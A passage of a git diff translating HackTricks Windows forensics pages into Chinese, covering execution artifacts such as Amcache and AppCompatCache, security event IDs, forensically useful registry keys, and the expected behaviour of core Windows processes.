`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`,分别容纳 512 和 1024 条目。 -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +要解析存储的信息,建议使用 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)。 ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** 文件本质上是一个注册表蜂巢,记录了在系统上执行的应用程序的详细信息。它通常位于 `C:\Windows\AppCompat\Programas\Amcache.hve`。 -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +该文件以存储最近执行的进程记录而著称,包括可执行文件的路径及其 SHA1 哈希。这些信息对于跟踪系统上应用程序的活动非常宝贵。 +要提取和分析 **Amcache.hve** 中的数据,可以使用 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 工具。以下命令是如何使用 AmcacheParser 解析 **Amcache.hve** 文件内容并以 CSV 格式输出结果的示例: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +在生成的 CSV 文件中,`Amcache_Unassociated file entries` 特别值得注意,因为它提供了关于未关联文件条目的丰富信息。 -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +生成的最有趣的 CVS 文件是 `Amcache_Unassociated file entries`。 ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +此工件仅在 W7 中的 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` 中找到,包含有关某些二进制文件最近执行的信息。 -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +您可以使用工具 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 来解析该文件。 -### Scheduled tasks +### 计划任务 -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +您可以从 `C:\Windows\Tasks` 或 `C:\Windows\System32\Tasks` 中提取它们,并将其作为 XML 读取。 -### Services +### 服务 -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +您可以在注册表中找到它们,路径为 `SYSTEM\ControlSet001\Services`。您可以查看将要执行的内容及其时间。 ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +已安装的应用程序可以在 `\ProgramData\Microsoft\Windows\AppRepository\` 中找到。\ +该存储库中有一个 **log**,记录了 **系统中每个已安装的应用程序**,存储在数据库 **`StateRepository-Machine.srd`** 中。 -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +在该数据库的应用程序表中,可以找到列:“Application ID”、“PackageNumber”和“Display Name”。这些列包含有关预安装和已安装应用程序的信息,如果某些应用程序被卸载,可以找到,因为已安装应用程序的 ID 应该是连续的。 -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +您还可以在注册表路径 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` 中 **找到已安装的应用程序**,\ +在 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` 中 **找到已卸载的应用程序**。 -## Windows Events +## Windows 事件 -Information that appears inside Windows events are: +Windows 事件中出现的信息包括: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- 发生了什么 +- 时间戳 (UTC + 0) +- 相关用户 +- 相关主机 (主机名,IP) +- 访问的资产 (文件,文件夹,打印机,服务) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +日志位于 `C:\Windows\System32\config`(在 Windows Vista 之前)和 `C:\Windows\System32\winevt\Logs`(在 Windows Vista 之后)。在 Windows Vista 之前,事件日志是二进制格式,之后则为 **XML 格式**,并使用 **.evtx** 扩展名。 -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +事件文件的位置可以在 SYSTEM 注册表中找到,路径为 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**。 -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +可以通过 Windows 事件查看器 (**`eventvwr.msc`**) 或其他工具如 [**Event Log Explorer**](https://eventlogxp.com) **或** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** 来可视化它们。 -## Understanding Windows Security Event Logging +## 理解 Windows 安全事件日志 -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +访问事件记录在位于 `C:\Windows\System32\winevt\Security.evtx` 的安全配置文件中。该文件的大小是可调的,当其容量达到时,较旧的事件会被覆盖。记录的事件包括用户登录和注销、用户操作以及安全设置的更改,以及文件、文件夹和共享资产的访问。 -### Key Event IDs for User Authentication: +### 用户身份验证的关键事件 ID: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**:表示用户成功认证。 +- **EventID 4625**:表示认证失败。 +- **EventIDs 4634/4647**:表示用户注销事件。 +- **EventID 4672**:表示以管理员权限登录。 -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647 中的子类型: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**:直接用户登录。 +- **Network (3)**:访问共享文件夹。 +- **Batch (4)**:执行批处理过程。 +- **Service (5)**:服务启动。 +- **Proxy (6)**:代理认证。 +- **Unlock (7)**:使用密码解锁屏幕。 +- **Network Cleartext (8)**:明文密码传输,通常来自 IIS。 +- **New Credentials (9)**:使用不同的凭据进行访问。 +- **Remote Interactive (10)**:远程桌面或终端服务登录。 +- **Cache Interactive (11)**:使用缓存凭据登录,无需联系域控制器。 +- **Cache Remote Interactive (12)**:使用缓存凭据进行远程登录。 +- **Cached Unlock (13)**:使用缓存凭据解锁。 -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625 的状态和子状态代码: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**:用户名不存在 - 可能表示用户名枚举攻击。 +- **0xC000006A**:正确的用户名但密码错误 - 可能是密码猜测或暴力破解尝试。 +- **0xC0000234**:用户账户被锁定 - 可能是在暴力攻击后导致多次登录失败。 +- **0xC0000072**:账户已禁用 - 未经授权尝试访问禁用账户。 +- **0xC000006F**:在允许的时间之外登录 - 表示在设定的登录时间之外尝试访问,可能是未经授权的访问迹象。 +- **0xC0000070**:违反工作站限制 - 可能是尝试从未经授权的位置登录。 +- **0xC0000193**:账户过期 - 使用过期用户账户的访问尝试。 +- **0xC0000071**:密码过期 - 使用过时密码的登录尝试。 +- **0xC0000133**:时间同步问题 - 客户端和服务器之间的大时间差异可能表明更复杂的攻击,如票据传递攻击。 +- **0xC0000224**:需要强制更改密码 - 频繁的强制更改可能表明试图破坏账户安全。 +- **0xC0000225**:表示系统错误而非安全问题。 +- **0xC000015b**:拒绝的登录类型 - 使用未经授权的登录类型进行的访问尝试,例如用户尝试执行服务登录。 -#### EventID 4616: +#### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **时间更改**:系统时间的修改,可能会模糊事件的时间线。 -#### EventID 6005 and 6006: +#### EventID 6005 和 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **系统启动和关闭**:EventID 6005 表示系统启动,而 EventID 6006 表示系统关闭。 -#### EventID 1102: +#### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **日志删除**:安全日志被清除,通常是掩盖非法活动的红旗。 -#### EventIDs for USB Device Tracking: +#### USB 设备跟踪的事件 ID: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**:USB 设备首次连接。 +- **10100**:USB 驱动程序更新。 +- **EventID 112**:USB 设备插入的时间。 -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +有关模拟这些登录类型和凭据转储机会的实际示例,请参阅 [Altered Security 的详细指南](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)。 -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +事件详细信息,包括状态和子状态代码,提供了对事件原因的进一步洞察,特别是在事件 ID 4625 中尤为显著。 -### Recovering Windows Events +### 恢复 Windows 事件 -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +为了提高恢复已删除 Windows 事件的机会,建议通过直接拔掉电源来关闭可疑计算机。**Bulk_extractor** 是一款指定 `.evtx` 扩展名的恢复工具,推荐用于尝试恢复此类事件。 -### Identifying Common Attacks via Windows Events +### 通过 Windows 事件识别常见攻击 -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +有关利用 Windows 事件 ID 识别常见网络攻击的全面指南,请访问 [Red Team Recipe](https://redteamrecipe.com/event-codes/)。 -#### Brute Force Attacks +#### 暴力攻击 -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +通过多个 EventID 4625 记录可识别,若攻击成功,则会跟随一个 EventID 4624。 -#### Time Change +#### 时间更改 -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +通过 EventID 4616 记录,系统时间的更改可能会使取证分析变得复杂。 -#### USB Device Tracking +#### USB 设备跟踪 -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +用于 USB 设备跟踪的有用系统事件 ID 包括 20001/20003/10000(首次使用),10100(驱动程序更新)和 EventID 112(来自 DeviceSetupManager 的插入时间戳)。 -#### System Power Events +#### 系统电源事件 -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 表示系统启动,而 EventID 6006 表示关闭。 -#### Log Deletion +#### 日志删除 -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. - -
- -{% embed url="https://websec.nl/" %} +安全 EventID 1102 表示日志被删除,这是取证分析中的关键事件。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..2cd8d68b6 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# 有趣的 Windows 注册表键 -### Interesting Windows Registry Keys +### 有趣的 Windows 注册表键 {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows 版本和所有者信息** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- 位于 **`Software\Microsoft\Windows NT\CurrentVersion`**,您可以以简单的方式找到 Windows 版本、服务包、安装时间和注册所有者的名称。 -### **Computer Name** +### **计算机名称** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- 主机名位于 **`System\ControlSet001\Control\ComputerName\ComputerName`** 下。 -### **Time Zone Setting** +### **时区设置** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- 系统的时区存储在 **`System\ControlSet001\Control\TimeZoneInformation`** 中。 -### **Access Time Tracking** +### **访问时间跟踪** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- 默认情况下,最后访问时间跟踪是关闭的 (**`NtfsDisableLastAccessUpdate=1`**)。要启用它,请使用: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windows 版本和服务包 -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows 版本** 指示版本(例如,家庭版、专业版)及其发布(例如,Windows 10、Windows 11),而 **服务包** 是包含修复和有时新功能的更新。 -### Enabling Last Access Time +### 启用最后访问时间 -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- 启用最后访问时间跟踪可以让您看到文件最后一次打开的时间,这对于取证分析或系统监控至关重要。 -### Network Information Details +### 网络信息详细信息 -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- 注册表保存了关于网络配置的广泛数据,包括 **网络类型(无线、有线、3G)** 和 **网络类别(公共、私人/家庭、域/工作)**,这些对于理解网络安全设置和权限至关重要。 -### Client Side Caching (CSC) +### 客户端缓存 (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** 通过缓存共享文件的副本来增强离线文件访问。不同的 **CSCFlags** 设置控制如何以及缓存哪些文件,影响性能和用户体验,特别是在连接不稳定的环境中。 -### AutoStart Programs +### 自动启动程序 -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- 列在各种 `Run` 和 `RunOnce` 注册表键中的程序在启动时自动启动,影响系统启动时间,并可能成为识别恶意软件或不需要软件的关注点。 ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** 不仅存储文件夹视图的偏好,还提供文件夹访问的取证证据,即使该文件夹不再存在。它们对于调查非常宝贵,揭示了通过其他方式不明显的用户活动。 -### USB Information and Forensics +### USB 信息和取证 -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- 注册表中存储的关于 USB 设备的详细信息可以帮助追踪哪些设备连接到计算机,可能将设备与敏感文件传输或未经授权的访问事件联系起来。 -### Volume Serial Number +### 卷序列号 -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **卷序列号** 对于跟踪文件系统的特定实例至关重要,在需要跨不同设备建立文件来源的取证场景中非常有用。 -### **Shutdown Details** +### **关机详细信息** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- 关机时间和计数(后者仅适用于 XP)保存在 **`System\ControlSet001\Control\Windows`** 和 **`System\ControlSet001\Control\Watchdog\Display`** 中。 -### **Network Configuration** +### **网络配置** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- 有关详细的网络接口信息,请参阅 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**。 +- 首次和最后的网络连接时间,包括 VPN 连接,记录在 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** 的各种路径下。 -### **Shared Folders** +### **共享文件夹** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- 共享文件夹和设置位于 **`System\ControlSet001\Services\lanmanserver\Shares`** 下。客户端缓存 (CSC) 设置决定离线文件的可用性。 -### **Programs that Start Automatically** +### **自动启动的程序** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- 路径如 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** 和 `Software\Microsoft\Windows\CurrentVersion` 下的类似条目详细说明了设置为在启动时运行的程序。 -### **Searches and Typed Paths** +### **搜索和输入的路径** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- 资源管理器搜索和输入的路径在注册表中跟踪,位于 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** 下的 WordwheelQuery 和 TypedPaths。 -### **Recent Documents and Office Files** +### **最近的文档和 Office 文件** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- 最近访问的文档和 Office 文件记录在 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 和特定 Office 版本路径中。 -### **Most Recently Used (MRU) Items** +### **最近使用的 (MRU) 项目** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- MRU 列表,指示最近的文件路径和命令,存储在 `NTUSER.DAT` 下的各种 `ComDlg32` 和 `Explorer` 子键中。 -### **User Activity Tracking** +### **用户活动跟踪** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- 用户助手功能记录详细的应用程序使用统计信息,包括运行次数和最后运行时间,位于 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**。 -### **Shellbags Analysis** +### **Shellbags 分析** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Shellbags,揭示文件夹访问详细信息,存储在 `USRCLASS.DAT` 和 `NTUSER.DAT` 下的 `Software\Microsoft\Windows\Shell` 中。使用 **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** 进行分析。 -### **USB Device History** +### **USB 设备历史** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** 和 **`HKLM\SYSTEM\ControlSet001\Enum\USB`** 包含有关连接的 USB 设备的丰富详细信息,包括制造商、产品名称和连接时间戳。 +- 通过在 `NTUSER.DAT` 注册表项中搜索设备的 **{GUID}**,可以确定与特定 USB 设备相关的用户。 +- 最后挂载的设备及其卷序列号可以通过 `System\MountedDevices` 和 `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` 分别追踪。 -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +本指南概述了访问 Windows 系统上详细系统、网络和用户活动信息的关键路径和方法,旨在提供清晰和可用性。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..85107bed2 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,105 +2,105 @@ ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**会话管理器**。\ +会话 0 启动 **csrss.exe** 和 **wininit.exe** (**操作系统** **服务**),而会话 1 启动 **csrss.exe** 和 **winlogon.exe** (**用户** **会话**)。然而,您应该在进程树中只看到该 **二进制文件** 的 **一个进程**,且没有子进程。 -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +此外,除了 0 和 1 的会话可能意味着正在发生 RDP 会话。 ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**客户端/服务器运行子系统进程**。\ +它管理 **进程** 和 **线程**,使 **Windows** **API** 可供其他进程使用,并且还 **映射驱动器字母**,创建 **临时文件**,并处理 **关机** **过程**。 -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +在会话 0 中有一个 **正在运行的进程,另一个在会话 1 中**(因此在进程树中有 **2 个进程**)。每个新会话会创建一个新的进程。 ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Windows 登录进程**。\ +它负责用户 **登录**/**注销**。它启动 **logonui.exe** 以请求用户名和密码,然后调用 **lsass.exe** 进行验证。 -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +然后它启动 **userinit.exe**,该程序在 **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** 中指定,键为 **Userinit**。 -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +此外,之前的注册表应在 **Shell 键** 中有 **explorer.exe**,否则可能会被滥用作为 **恶意软件持久性方法**。 ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Windows 初始化进程**。 \ +它在会话 0 中启动 **services.exe**、**lsass.exe** 和 **lsm.exe**。应该只有 1 个进程。 ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Userinit 登录应用程序**。\ +加载 **HKCU 中的 ntduser.dat**,初始化 **用户** **环境**,并运行 **登录** **脚本** 和 **GPO**。 -It launches **explorer.exe**. +它启动 **explorer.exe**。 ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**本地会话管理器**。\ +它与 smss.exe 一起工作以操纵用户会话:登录/注销、启动 shell、锁定/解锁桌面等。 -After W7 lsm.exe was transformed into a service (lsm.dll). +在 W7 之后,lsm.exe 被转变为服务 (lsm.dll)。 -There should only be 1 process in W7 and from them a service running the DLL. +在 W7 中应该只有 1 个进程,并且其中一个是运行 DLL 的服务。 ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**服务控制管理器**。\ +它 **加载** 配置为 **自动启动** 的 **服务** 和 **驱动程序**。 -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +它是 **svchost.exe**、**dllhost.exe**、**taskhost.exe**、**spoolsv.exe** 等的父进程。 -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +服务在 `HKLM\SYSTEM\CurrentControlSet\Services` 中定义,该进程在内存中维护一个服务信息的数据库,可以通过 sc.exe 查询。 -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +注意 **某些** **服务** 将在 **自己的进程中运行**,而其他服务将 **共享一个 svchost.exe 进程**。 -There should only be 1 process. +应该只有 1 个进程。 ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**本地安全授权子系统**。\ +它负责用户 **身份验证** 并创建 **安全** **令牌**。它使用位于 `HKLM\System\CurrentControlSet\Control\Lsa` 的身份验证包。 -It writes to the **Security** **event** **log** and there should only be 1 process. +它写入 **安全** **事件** **日志**,并且应该只有 1 个进程。 -Keep in mind that this process is highly attacked to dump passwords. +请记住,该进程是高度攻击的目标,用于提取密码。 ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**通用服务主机进程**。\ +它在一个共享进程中托管多个 DLL 服务。 -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +通常,您会发现 **svchost.exe** 是使用 `-k` 标志启动的。这将查询注册表 **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**,其中将有一个带有 -k 中提到的参数的键,该键将包含在同一进程中启动的服务。 -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +例如:`-k UnistackSvcGroup` 将启动:`PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +如果 **标志 `-s`** 也与参数一起使用,则 svchost 被要求 **仅启动指定的服务**。 -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +将会有多个 `svchost.exe` 进程。如果其中任何一个 **没有使用 `-k` 标志**,那么这非常可疑。如果您发现 **services.exe 不是父进程**,那也是非常可疑的。 ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +该进程充当从 DLL 运行的进程的主机。它还加载从 DLL 运行的服务。 -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +在 W8 中称为 taskhostex.exe,在 W10 中称为 taskhostw.exe。 ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +这是负责 **用户桌面** 和通过文件扩展名启动文件的进程。 -**Only 1** process should be spawned **per logged on user.** +**每个登录用户应该只生成 1 个** 进程。 -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +这是从 **userinit.exe** 运行的,应该被终止,因此 **该进程不应有父进程**。 -# Catching Malicious Processes +# 捕获恶意进程 -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- 它是否从预期路径运行?(没有 Windows 二进制文件从临时位置运行) +- 它是否与奇怪的 IP 通信? +- 检查数字签名(Microsoft 伪造物应已签名) +- 拼写是否正确? +- 是否在预期的 SID 下运行? +- 父进程是否是预期的进程(如果有的话)? +- 子进程是否是预期的进程?(没有 cmd.exe、wscript.exe、powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git 